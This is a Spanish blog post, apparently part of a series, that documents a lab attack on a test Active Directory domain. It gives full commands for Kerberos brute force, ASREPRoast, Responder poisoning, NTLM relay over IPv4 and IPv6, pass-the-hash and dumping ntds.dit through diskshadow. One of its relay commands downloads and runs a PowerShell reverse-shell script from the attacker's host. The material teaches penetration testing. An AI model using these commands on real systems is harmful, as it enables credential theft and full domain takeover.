Hola a todos,
Cuando ya hemos estudiado los diferentes servicios que corren sobre equipos es la hora de ejecutar diferentes vectores de ataque con el fin de obtener acceso a las máquinas.
Introducción
Tras revisar el funcionamiento de cada servicio y presentar sus posibles vectores de ataque se desarrolla un plan de acción para obtener credenciales válidas, mediante las vulnerabilidades vistas en el post anterior y así poder acceder a los equipos vulnerados.
Se probarán y ejecutarán los distintos vectores de ataque sobre los equipos. En este punto se desarrollarán los ataques Kerberoasting, Samba Relay, ASREPRoast, para obtener las contraseñas de los usuarios; NTMLRelay para obtener hashes de sesión y Pass The Hash para obtener información sin necesidad de contraseña.
Obtención de contraseñas
Tras la obtención de los usuarios, realizada en la fase de reconocimiento, se genera un nuevo diccionario a partir de uno preparado, con la herramienta cupp, con los datos que se haya podido obtener de los usuarios. Todos estos ataques no son detectados por ningún antivirus ya que son consultas hacia los servicios que se ofrecen. Para la obtención de contraseñas se pueden utilizar 3 metodologías diferentes:
Kerberoasting
Es posible realizar un ataque de fuerza bruta si se solicita un nombre no valido, ya que Kerberos lanzará un código de error, KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, si el usuario es válido obtendrá el TGT o un error, KRB5KDC_ERR_PREAUTH_REQUIRED, indicando que el usuario se debe pre-autenticar.
Para realizar esta fuerza bruta se utilizará la herramienta kerbrute, con el comando:
1
./kerbrute_linux_amd64 bruteuser --dc 192.168.140.129 -d jcaballer.local passwords.txt.cupp.txt jcaballero1
A este comando se le pasan diferentes parámetros:
- dc: la dirección ip donde se encuentra el servicio Kerberos.
- d: Dominio sobre el que se autentica el usuario.
- Archivo: con las posibles contraseñas.
- Usuario: sobre el que se realizan las pruebas de fuerza bruta.
Se puede comprobar el resultado de este comando en la siguiente imagen:
Tras un rato esperando se encuentra la contraseña, si el archivo de contraseñas es muy grande se deberá separar en más pequeños ya que el sistema bloqueará las peticiones.
Samba Relay
Por defecto, el protocolo SAMBA no está firmado, por lo que cuando un usuario solicita un recurso no se logra dar legitimidad el origen, esto hace que cualquiera pueda estar a la espera en la búsqueda de credenciales dando un recurso no legítimo de la red y viendo cómo se validan los usuarios para obtenerlo. Para ello se utilizará la herramienta responder, que envenenará el tráfico de red con el fin de obtener las credenciales.
1
responder -I ens33 -rdw
A este comando se le envían diferentes parámetros:
- I: indica la interfaz de red a utilizar
- r: permite responder a las consultas de sufijo wredir de netbios.
- d: habilita las respuestas para las consultas de sufijos de dominio de netbios.
- w: inicia el servidor proxy WPAD rogue, para encontrar la URL de archivos de configuración de los equipos vulnerables.
Una vez que cualquier usuario del directorio activo intente buscar un recurso no legítimo, suele darse de manera bastante común, mediante el protocolo SMB el envenenador recibirá las credenciales, en formato hash NTMLv2.
Después con la herramienta John The Ripper, que es un crackeador de contraseñas offline, se pueden obtener en texto plano las contraseñas por fuerza bruta.
1
john --wordlist=passwords.txt.cupp.txt hash
En el que se le pasa el archivo con las posibles contraseñas y el hash encontrado en un archivo.
El resultado del comando es el siguiente:
ASREPRoast
Como se ha visto anteriormente esta vulnerabilidad trata de buscar a usuarios que no hagan uso de la autenticación previa de Kerberos, esto permite autenticarse sin Kerberos bajo cualquier servicio, por lo que un atacante puede enviar directamente la solicitud de autenticación y obtener el TGT, que contiene la contraseña del usuario dado, crackeándola de manera offline.
Para realizar este método se utilizará la herramienta impacket-GetNPUsers, con el comando:
1
impacket-GetNPUsers jcaballer.local/ -dc-ip 192.168.140.129 -usersfile usernames.txt -format hashcat -outputfile hashes.txt
En el comando utilizado se envían diferentes parámetros:
- Dominio: donde se autentica el usuario.
- dc-ip: ip donde se encuentra el servicio Kerberos.
- userfile: archivo que alberga el nombre de los usuarios.
- format: formato de salida de hash encontrado.
- outputfile: archivo donde se guarda el hash que se ha obtenido
Y se obtendrá el TGT, se fuerza la búsqueda de contraseña de nuevo con John the Ripper:
Herramienta John the Ripper Kerberos
Situación actual
La situación actual que nos encontramos en el entorno es la siguiente:
Estado tras la obtención de contraseñas
NTLMRELAY
Tras obtener credenciales validas de cualquier usuario se debe comprobar si se encuentra en el grupo de administradores, esta comprobación se realiza mediante la herramienta CrackMapExec, con el comando:
1
cme sbm 192.168.140.0/24 -u ‘jcaballero1’ -p ‘Passjc1.’
En este comando se escanea todo el rango de red con el usuario y la contraseña encontradas en el apartado anterior.
Si tras ejecutar la herramienta al lado del nombre indica (Pwn3d!)
significa que puede obtener toda la información de ese equipo, como la SAM o ejecutar comandos. En este caso nos permite obtener la información de los usuarios jcaballero2 y jcaballero3.
Tras analizar a que equipos se puede conectar con las credenciales válidas se puede realizar un ataque de NTLMRelay, en este trabajo, a diferencia sobre otros proyectos, se verán las dos posibilidades de ataque, sobre IPv4 e IPv6.
IPV4
Para realizar este tipo de ataque se debe envenenar toda la red con el fin de obtener las credenciales administradoras de un usuario y redirigirlas hacía los objetivos sobre los que tiene privilegios, para ello, se utiliza la herramienta responder para el envenenamiento de la red de recursos no encontrados e impacket-ntmlrelayx para redirigir las credenciales hacia los objetivos, una vez un usuario administrador intente obtener un recurso no disponible, se puede obtener la SAM del equipo objetivo.
1
responder -I ens33 -rdw
1
impacket-ntlmrelayx -tf target.txt -smb2support
En el comando de impacket-ntlmrelayx se le envía un archivo con las ip de las posibles víctimas y se da soporte a la versión 2 del protocolo SMB. Y este devuelve el resultado de la SAM donde se almacenan las credenciales de los usuarios.
También es posible ejecutar comandos desde el impacket-ntlmrelayx con las credenciales facilitadas, pudiendo descargar un script malicioso compartido por el pentester, que permita la ejecución de una reverse shell.
Se inicia la herramienta responder, con el comando:
1
responder -I ens33 -rdw
Se inicia un servidor en Python con los archivos de la carpeta donde se tiene el script malicioso, que envía una poweshell por TCP al atacante, con el módulo SimpleHTTPServer
.
1
python -m SimpleHTTPServer
Se espera la conexión remota en el puerto 4444.
1
rlwrap nc -nlvp 4444
Se ejecuta el impacket-ntlmrelayx para que realice el comando pasado, que descarga e interpreta el archivo malicioso visto anteriormente. Dando como resultado una consola de comandos sobre la máquina.
1
impacket-ntlmrelayx -tf target.txt -smb2support -c "powershell IEX(New-Object Net.Webclient).downloadString('http://192.168.140.128:8000/powerscript.ps1')"
IPV6
Algunos administradores bloquean el ataque anterior estableciendo reglas de seguridad para IPV4, sin embargo, se olvidan de fortificar el protocolo IPV6. Por defecto, las máquinas Windows consultan primero el protocolo IPV6, por lo que se puede envenenar todo el dominio con la herramienta mitm6, que spoofea todas las peticiones de los equipos en la red para establecer el equipo atacante como servidor DNS y puerta de enlace. Con esto, cuando un usuario con rol de administrador en un equipo busca un recurso no valido, podemos redirigir el tráfico mediante proxychain, al equipo vulnerado, sin necesidad de contraseña.
Se ejecuta el spoofing de la red con mitm6, pasando el dominio como parámetro en el comando:
1
mitm6 -d jcaballer.local
Se ejecuta ntlmrelayx sobre el protocolo IPv6, estableciendo un túnel entre el atacante y protocolo smb de la victima
1
impacket-ntlmrelayx -6 -wh 192.168.140.128 -t smb://192.168.140.131 -socks -smb2support
Se indica a la herramienta proxychains que debe crear un túnel por el puerto 1080 en la ip local del atacante 127.0.0.1.
Se ejecuta el comando que se desea para la máquina objetivo:
1
proxychains cme smb 192.168.140.131 -u 'jcaballero1' -p 'sincontrasena' -d 'jcaballer'
Como se puede observar da igual con que credenciales se intente autenticar, ya que se obtendrán del usuario que busca un recurso no legitimo sobre el protocolo.
Situación actual
La situación actual que nos encontramos en el entorno es la siguiente:
Después de esto debemos pasar a los siguientes pasos:
Obtención de información con credenciales
Tras obtener credenciales validas, no hace falta que sean del administrador, se debe enumerar toda la información disponible en búsqueda de nuevos vectores de ataque o posibles fugas de información.
Se puede obtener información del dominio utilizando el protocolo rcp, con la herramienta rpcclient, que se trata de una herramienta de enumeración, que se ejecuta con el siguiente comando:
1
rpcclient -U 'jcaballer.local\jcaballero1%Passjc1.' 192.168.140.129
En ella se le pasa los parámetros de conexión del usuario y la ip sobre la que se desea obtener información.
Tras la ejecución se obtiene acceso y se pueden ejecutar diferentes comandos (enumdomgroups, enumdomusers, …) de la herramienta para obtener diferente información.
También existe otra herramienta llamada ldapdomaindump que consulta al protocolo LDAP con el fin de obtener toda la información proporcionada por este.
1
ldapdomaindump -u 'jcaballer.local\jcaballero1' -p 'Passjc1.' 192.168.140.129
Al igual que el comando anterior, se facilita las credenciales de usuario y la herramienta devuelve toda la información que puede obtener con los privilegios de ese usuario.
Tras la ejecución del comando se debe levantar un servidor web para visualizar todos los archivos que ha obtenido el comando anterior.
Pass the Hash
Cuando se obtienen hashes NTLM, mediante la obtención de la SAM, como se ha visto anteriormente, es posible lanzar un ataque con la herramienta impacket-wmiexec sin necesidad de contraseña, únicamente mediante el hash que se ha obtenido del ataque sambarelay, ya que los hashes de contraseña permanecen estáticos de una sesión a otra hasta que se cambian las claves. El comando para ejecutar sería el siguiente:
1
impacket-wmiexec jcaballer.local/jcaballero1@192.168.140.131 -hashes aad3b435b51404eeaad3b435b51404ee:25262cd715d369d70e8b07628f016b17
Este comando evoca una shell del equipo atacado mediante el parámetro de la conexión del usuario sobre la máquina víctima y el hash NTML obtenido.
Elevación de privilegios
Como se ha visto en el apartado anterior el usuario jcaballero1, pertenece al grupo de usuarios de administración remota, por lo que se puede probar mediante la herramienta evil-winrm a establecer una conexión contra el AD, con las credenciales obtenidas en los anteriores apartados.
1
evil-winrm -i 192.168.140.129 -u 'jcaballero1' -p 'Passjc1.'
Una vez conectado con la herramienta al AD se comprueba que privilegios se posee con el comando:
1
whoami /priv
Se confirma que tiene privilegios SeBackupPrivilege, con este tipo de privilegios se puede realizar una copia del sistema y del archivo SAM, para obtener los hashes de los usuarios de ese equipo, con la herramienta impacket-secretdump y poder realizar un ataque Pass The Hash, pero, relacionado con la persistencia, que se verá más adelante, la copia que se debe realizar es sobre el archivo NTDS, que es la base de datos del AD que se utiliza para almacenar toda la información específica del AD.
Para acceder a ese archivo se debe realizar una copia del sistema en una nueva unidad lógica, para ello se utilizará la herramienta diskshadow. La ejecución de esta herramienta llevará como parámetro un archivo que se encarga de realizar la copia del disco C: al disco que se haya elegido, ya que no se tiene permisos para la consulta de ese disco al no ser administradores:
1
2
3
4
set context persistent nowriters
add volume c: alias jcaballero
create
expose %jcaballero% e:
Una vez subido el archivo al AD se ejecuta el comando:
1
diskshadow.exe /s c:\TEMP\diskshadow
Esta instrucción permite el montaje del disco duro clonado del disco duro del equipo víctima.
Tras realizar el clonado del disco se copia el archivo ntds.dit con el comando.
1
robocopy /b e:\Windows\NTDS\ . ntds.dit
Se realiza una copia del registro system con el comando:
1
reg save HKLM\system
Y se envían a la máquina atacante, parar posteriormente ejecutar la herramienta impacket-secretsdump donde se le envían los archivos descargados como parámetros con el comando:
1
impacket-secretsdump -system system -ntds ntds.dit LOCAL
Esta herramienta obtendrá los hashes de los usuarios con los que se podrán acceder al sistema.
Herramienta impacket-secretsdum
Con estos hashes y la herramienta impacket-psexec se puede comprobar que el AD es vulnerado mediante la técnica Pass The Hash, lo que permite establecer una Shell contra el AD, con permisos de administrador, con el comando:
1
impacket-psexec jcaballer.local/Administador@192.168.140.129 -hashes :f8a5250f2e22c9b727334f278792ef7b
Obtención de acceso al AD
Tras conseguir unas credenciales validas de administrador, con cualquiera de las credenciales vistas anteriormente, la manera más cómoda de establecer una conexión contra el AD es mediante la herramienta impacket-psexec la cual permite ejecutar cualquier comando contra el AD, solicitando la obtención de una consola mediante la instrucción:
1
impacket-psexec jcaballer.local/jcaballeradm:Password1.@192.168.140.129 cmd.exe
Herramienta impacket-psexec para acceso
Situación actual
La situación actual que nos encontramos en el entorno es la siguiente:
Conclusión
Esto sería todo, es el post mas largo hasta la fecha ya que hemos realizado muchas pruebas y ejecutado las diferentes vectores de ataque.
En el siguiente post veremos los últimos puntos, la persistencia con los tickets Kerberos y el borrado de huellas